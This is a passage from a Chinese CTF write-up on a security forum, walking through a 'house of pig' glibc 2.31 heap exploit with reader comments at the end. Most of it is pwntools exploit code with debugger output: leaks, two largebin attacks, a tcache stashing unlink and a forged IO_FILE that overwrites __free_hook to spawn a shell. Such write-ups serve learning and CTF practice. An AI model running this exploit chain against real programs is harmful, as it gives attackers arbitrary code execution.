16
17
18
19
20
21
22
23
24
25
26
Change(1)
Add(0x430, 'A'*0x158) # A16
 
Change(2)
Add(0xf0, 'B'*0x48) # B7
#B7作为A16和topchunk的隔离,防止A16被free后和topchunk合并
Change(1)
Del(16)
#free A16,将A16放入unsortedbin
Change(2)
Add(0x440, 'B'*0x158) # B8
#申请一个比unsortedbin更大的chunk,将unsortedbin放入largebin,则largebin中有一个0x440的chunk
#由于largebin的bk和fd为libc地址,fd_nextsize和bk_nextsize为堆地址,因此可以通过这个largebin来泄露libc地址和heap地址
Change(1)
#切换角色,造成uaf
Show(16)
ru('message is: ')
libc_base = uu64(rl()) - 0x1ebfe0
lg('libc_base')
#利用uaf泄露libc地址
Edit(16, 'A'*0xf+'\n')
Show(16)
ru('message is: '+'A'*0xf+'\n')
heap_base = uu64(rl()) - 0x13940
lg('heap_base')
#使用edit覆盖fd和bk,泄露出heap地址

R8YmO1.png

 

上图是将A16 free之后的情况

 

以及下图是此时的bins

 

R8YdTf.png

 

第三部分,第一次largebin_attack 将free_hook-0x8写为一个堆地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#----- first largebin_attack
Edit(16, 2*p64(libc_base+0x1ebfe0) + '\n') # recover
#将0x440的largebin的fd和bk指针恢复
Add(0x430, 'A'*0x158) # A17
#将largebin中的chunk申请回来
Add(0x430, 'A'*0x158) # A18
Add(0x430, 'A'*0x158) # A19
#后续使用
Change(2)
Del(8)
Add(0x450, 'B'*0x168) # B9
#将B8 0x440的chunk放入largebin
Change(1)
Del(17)
#将A17 0x430的chunk放入unsortedbin
Change(2)
free_hook = libc_base + libc.sym['__free_hook']
Edit(8, p64(0) + p64(free_hook-0x28) + '\n')
#修改B8的fd_nextsize和bk_nextsize,以满足largebin attack的要求 注:mummy的edit是直接从偏移0x10的位置写入,忘记了的可以看看程序
Change(3)
Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8
#会从0x430的unsortedbin中切割0xb0的chunk之前,会先将这个0x430的chunk放到largebin上,再进行切割,切割之后会产生last remainder,再将last remainder放到unsortedbin上,在将unsortedbin放入largebin时就已经出发了largebinattack,往free_hook-0x8处写入了一个堆地址
Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover
#恢复现场

这里解释一下Add(0xa0, 'C'*0x28)为什么能触发largebin_attack

 

R8DquF.jpg

 

在int_malloc函数的大循环开始处就会获取unsortedbin中的chunk

 

还是通过源码调试来看看,不过就只标出几个关键点,毕竟这不是本文的重点

 

R8rrVJ.png

1
2
3
4
5
6
7
pwndbg> p/x size
$2 = 0x440
pwndbg> p victim
$3 = (mchunkptr) 0x55a1135af940
 
unsortedbin
all: 0x55a1135af940 —▸ 0x7f61ad8c2be0 (main_arena+96) ◂— 0x55a1135af940

取到了unsortedbin中的chunk

 

R8siR0.png

 

R8sAMT.png

 

将unsortedbin中的chunk解链

 

R8sKiR.png

 

将unsortedbin插入到largebin

 

R8sNod.png

 

这一步之后实际上就已经完成了largebin attack,但我们继续把流程走完

 

R8sRFs.png

 

largebin中多出了一个chunk

 

后续会进行一大堆标志位设置,我们直接看到切割chunk

 

R8ySOO.png

 

R8yVpt.png

 

切割了之前的unsortedbin,remainder产生

 

R8ylkj.png

 

然后将last_remainder插入到unsortedbin中

 

R8yJ10.png

 

流程结束,第一次largebin attack完成

 

R8y0AJ.png

 

free_hook-0x8被写入了一个堆地址

 

第四部分 第二次largebin attack ,往_io_list_all写入一个堆地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#----- second largebin_attack
Change(3)
Add(0x380, 'C'*0x118) # C1
#将lastremainder申请回来
Change(1)
Del(19)
#free A19,大小为0x430的chunk
Change(2)
IO_list_all = libc_base + libc.sym['_IO_list_all']
Edit(8, p64(0) + p64(IO_list_all-0x20) + '\n')
#故技重施,将largebin中的0x440的chunk的bk_nextsize修改为IO_list_all-0x20
Change(3)
Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all
#和第三部分的一样,触发largebin_attack
Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover
#恢复现场

R86CvV.png

 

第二次largebin attack完成

 

第五部分 tcache_stashing_unlink plus IO_FILE攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#----- tcache_stashing_unlink_attack and FILE attack
Change(1)
payload = 'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)
Edit(8, payload + '\n')
#A8原本是0x190的chunk,然后被切割为了0xf0和0xa0的chunk,由于uaf,edit A8可以直接修改到0xa0的smallbin的fd和bk
#tcache_stashing_unlink plus的利用条件就是在不修改fd的情况下将bk修改为目标地址-0x10,我们的目标地址是free_hook-0x10,因此要将bk修改为free_hook-0x20
Change(3)
payload = '\x00'*0x18 + p64(heap_base+0x147c0)
payload = payload.ljust(0x158, '\x00')
Add(0x440, payload) # C3 change fake FILE _chain
#io_list_all被覆盖为了0x440的largebin的地址,我们将这个largebin申请回来,在其中设置下一个chain,并在这个chain指向的chunk中伪造IO_FILE
Add(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook into tcache
#触发tcache_stashing_unlink_attack,将free_hook-0x10链入tcache中
IO_str_vtable = libc_base + 0x1ED560
system_addr = libc_base + libc.sym['system']
fake_IO_FILE = 2*p64(0) #根据我们前面分析的,fp->flag=0
fake_IO_FILE += p64(1)                    #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff)        #change _IO_write_ptr = 0xffffffffffff
#满足fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_base
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x148a0)                #v4 _IO_buf_base
fake_IO_FILE += p64(heap_base+0x148b8)                #v5 _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(0)                    #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(IO_str_vtable)        #change vtable
payload = fake_IO_FILE + '/bin/sh\x00' + 2*p64(system_addr)
sa('Gift:', payload)
#使用角色三也就是daddy申请到C4时会有一个gift
 
Menu(5)
sla('user:\n', '')

R87Wt0.png

 

在largebin中设置好chain

 

在使用角色三daddy申请到C4时会有一个gift

 

R8HPHA.png

 

会额外申请一个0xf0的chunk,然后往其中读入数据,并且是连续读入

 

R8XpTJ.png

 

这个0xf0的chunk会从unsortedbin中切割

 

R8X31P.png

 

largebin中的chain指向的正是这个chunk,使用fp命令可以将这个地址作为一个IO_FILE结构体查看

 

R8X51x.png

 

根据io_str_overflow申请chunk的size计算规则

1
new_buf = malloc (2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100)
1
2
pwndbg> p/x 2*(0x55abc745a8b8-0x55abc745a8a0)+100
$2 = 0x94

根据malloc的申请规则,会申请0xa0的chunk,此时0xa0的tcache中的第一个chunk为free_hook-0x10

 

R8j9u8.png

 

malloc申请完chunk后,如果_IO_buf_base指向的空间有数据的话就会将其中的数据拷贝到new_buf中,也就是free_hook-0x10,_IO_buf_base指向位置的数据为/bin/sh和system的地址,因此最终会将/bin/sh拷贝到free_hook-0x10,将system拷贝到free_hook-0x8和free_hook,最终调用free则会触发system('/bin/sh')

 

R8vgY9.png

house of pig的触发条件就是调用 _IO_flush_all_lockp的条件,即需要满足如下三个之一:

  1. 当 libc 执行abort流程时。
  2. 程序显式调用 exit 。
  3. 程序能通过主函数返回。
 

这个程序里调用了很多exit,可以触发house of pig

 

我们跟到io_str_overflow里看看执行过程

 

RG9PbV.png

1
2
pwndbg> p/x new_size
$3 = 0x94

size和我们计算的一样

 

调用malloc之前

 

RG9VC4.png

 

调用malloc之后

 

RG9e29.png

 

free_hook已经被申请出去了

 

接下来开始memcpy

 

RG9Mb6.png

 

RG9art.png

 

old_buf指向的的数据是/bin/sh

 

memcpy执行之后

 

RG92Mn.png

 

随后就是getshell

 

最后提一嘴,为什么要将chunk申请到free_hook-0x10而不是free_hook-0x8,是因为新版本的glibc对tcache增加了检查,tcache申请的地址需要0x10对齐,这就是原因。

0x5.完结撒花

通过这题学到了很多,也复习巩固了很多知识点,耐着性子进行调试,硬着头皮恢复了结构体,收获满满。

0x6.参考链接

house of pig一个新的堆利用详解 - 安全客,安全资讯平台 (anquanke.com)

 

新版本glibc下的IO_FILE攻击 - 安全客,安全资讯平台 (anquanke.com)


[注意] 欢迎加入看雪团队!base上海,招聘安全工程师、逆向工程师多个坑位等你投递!

收藏
点赞2
打赏
分享
最新回复 (3)
雪    币: 9919
活跃值: 活跃值 (11644)
能力值: (RANK:650 )
在线值:
发帖
回帖
粉丝
ScUpax0s 活跃值 11 2021-6-29 08:24
2
0
支持!
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wwwfo 活跃值 2021-7-4 16:32
3
0

 你是如何编译的2.31,有源码符号?


雪    币: 1190
活跃值: 活跃值 (560)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
Lpwn 活跃值 1 2021-7-4 21:50
4
0
wwwfo &nbsp;你是如何编译的2.31,有源码符号?
直接在Ubuntu官方网站下载对应源码https://launchpad.net/ubuntu/+source/glibc/
游客
登录 | 注册 方可回帖
返回